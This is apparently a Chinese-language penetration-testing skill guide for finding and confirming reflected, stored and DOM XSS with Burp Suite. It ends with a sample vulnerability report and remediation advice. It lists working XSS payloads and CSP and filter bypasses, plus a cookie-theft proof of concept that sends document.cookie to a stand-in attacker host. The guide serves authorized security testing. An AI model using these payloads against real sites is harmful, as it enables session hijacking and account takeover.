with one click
testing-for-xss-vulnerabilities-with-burpsuite
// 在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
// 在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型,检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于:当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具(iodine、dnscat2、DNSExfiltrator)的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型,通过 IAP、Access Context Manager 和 Chrome Enterprise Premium,消除网络边界的隐式信任,强制执行基于身份的访问控制,实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
攻击活动溯源归因分析涉及系统性地评估证据,以确定哪个威胁行为者或组织对某次网络行动负责。本技能涵盖使用 Diamond Model 和 ACH(竞争假设分析)收集并加权溯源归因指标、分析基础设施重叠、TTP 一致性、恶意软件代码相似性、操作时序模式和语言痕迹,以构建置信度加权的溯源归因评估。
从 PE 文件和内存转储中提取并分析 Cobalt Strike beacon 配置,以识别 C2 基础设施、Malleable C2 配置文件和攻击者操作惯例。
使用 Ghidra 及专用脚本对 Go 编译的恶意软件进行逆向工程,包括函数恢复、字符串提取和去符号表 Go 二进制文件的类型重建。
MITRE ATT&CK 是基于真实世界观察的全球可访问的对手战术、技术和过程(TTP)知识库。本技能涵盖系统性地将威胁行为者行为映射到 ATT&CK 框架、使用 ATT&CK Navigator 构建技术覆盖热力图、识别检测差距,以及生成将观察到的 IOC 关联到 Enterprise、Mobile 和 ICS 矩阵中特定对手技术的可执行情报报告。
| name | testing-for-xss-vulnerabilities-with-burpsuite |
| description | 在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","xss","burpsuite","owasp","web-security","cross-site-scripting"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
设置代理并爬取应用程序,发现所有输入向量。
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: 添加目标域名(例如 *.target.example.com)
3. Dashboard > New Scan > Crawl only > 选择目标 URL
4. 启用 Passive scanning
5. 安装 Burp CA 并手动浏览应用程序以构建站点地图
验证: 确认 Target > Site map 中显示了目标域的完整路径树。
将请求发送到 Repeater 并注入唯一的金丝雀字符串,找出用户输入被反射的位置。
# 注入金丝雀字符串:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com
# 在响应中搜索 "xsscanary12345",记录反射上下文:
# HTML body / 属性 / JavaScript 字符串 / URL
# 测试特殊字符编码处理:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# 检查哪些字符被未编码地反射
验证: 至少识别出一个反射点及其上下文类型,方可继续下一步。
根据反射上下文,构造有针对性的 XSS Payload。
# HTML Body 上下文:
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
# 属性上下文 - 逃脱属性:
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
# JavaScript 字符串上下文:
GET /search?q=';alert(document.domain)// HTTP/1.1
# 事件处理器上下文:
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
# 如果尖括号被过滤,尝试 URL 编码:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
验证: 确认 Payload 在浏览器中触发执行,或在响应中未经编码地反射。
使用 Burp Intruder 对评论、个人资料和消息等输入字段测试存储型 XSS。
# Burp Intruder 配置:
# 1. 右键点击请求 > Send to Intruder
# 2. Positions 选项卡: 标记可注入参数
# 3. Payloads 选项卡: 加载 XSS Payload 列表
# 核心 Payload(覆盖主要标签和事件类型):
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
"><img src=x onerror=alert(1)>
# Grep - Match 添加匹配模式: "alert(1)"、"onerror="
使用 Burp 的 DOM Invader 识别不安全处理用户输入的客户端 JavaScript。
# 在 Burp 内置浏览器中启用 DOM Invader:
# 1. 打开 Burp 内置的 Chromium 浏览器
# 2. 点击 DOM Invader 扩展图标 > 启用
# 3. 设置金丝雀值(例如 "domxss")
# 关键 Sink: document.write(), innerHTML, eval(), location.href
# 关键 Source: location.hash, location.search, postMessage
# 测试 URL fragment 注入:
https://target.example.com/page#<img src=x onerror=alert(1)>
当基本 Payload 被拦截时,使用高级技术绕过防护措施。
# CSP 分析 - 检查响应头:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
# 常见 CSP 绕过:
# 如果允许 'unsafe-inline':
<script>alert(document.domain)</script>
# 如果某个 CDN 被加入白名单(例如 cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# 过滤器绕过技术:
# 大小写变化: <ScRiPt>alert(1)</ScRiPt>
# 空字节: <scr%00ipt>alert(1)</script>
# 双重编码: %253Cscript%253Ealert(1)%253C/script%253E
# HTML 实体: <img src=x onerror=alert(1)>
# Unicode 转义: <script>\u0061lert(1)</script>
# 在 Burp Suite > BApp Store 中安装 "Hackvertor"
# 使用 Hackvertor 标签对 Payload 进行编码:
# <@hex_entities>alert(document.domain)<@/hex_entities>
确认可利用性并记录完整的攻击链。
# 概念验证 — Cookie 窃取(演示会话劫持影响):
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>
# 根据需要替换为键盘记录器或截图 PoC 以演示更高影响
# 记录清单: URL/参数、Payload、执行截图、影响评估、复现步骤
验证: PoC 在受控环境中成功执行。
go install github.com/hahwul/dalfox/v2@latest)## XSS 漏洞发现
**漏洞类型**: 存储型跨站脚本(XSS)
**严重级别**: 高危(CVSS 8.1)
**位置**: POST /api/comments → `body` 参数
**类型**: 存储型 XSS
**OWASP 类别**: A03:2021 - 注入
### 复现步骤
1. 访问 https://target.example.com/blog/post/123
2. 提交评论,正文为: <img src=x onerror=alert(document.domain)>
3. 重新加载页面;Payload 在浏览器中执行
### 影响
- 通过 Cookie 窃取对所有查看该页面用户进行会话劫持
- 通过会话令牌外泄实现账户接管
- 博客文章页面被篡改
- 通过注入的登录表单进行钓鱼攻击
### CSP 状态
- 不存在 Content-Security-Policy 头
- 未设置 X-XSS-Protection 头
### 修复建议
1. 实施上下文感知的输出编码(HTML 上下文使用 HTML 实体编码)
2. 部署带严格 nonce 脚本白名单的内容安全策略
3. 对用户生成的 HTML 内容使用 DOMPurify 库进行清洗
4. 在会话 Cookie 上设置 HttpOnly 和 Secure 标志
5. 添加 X-Content-Type-Options: nosniff 响应头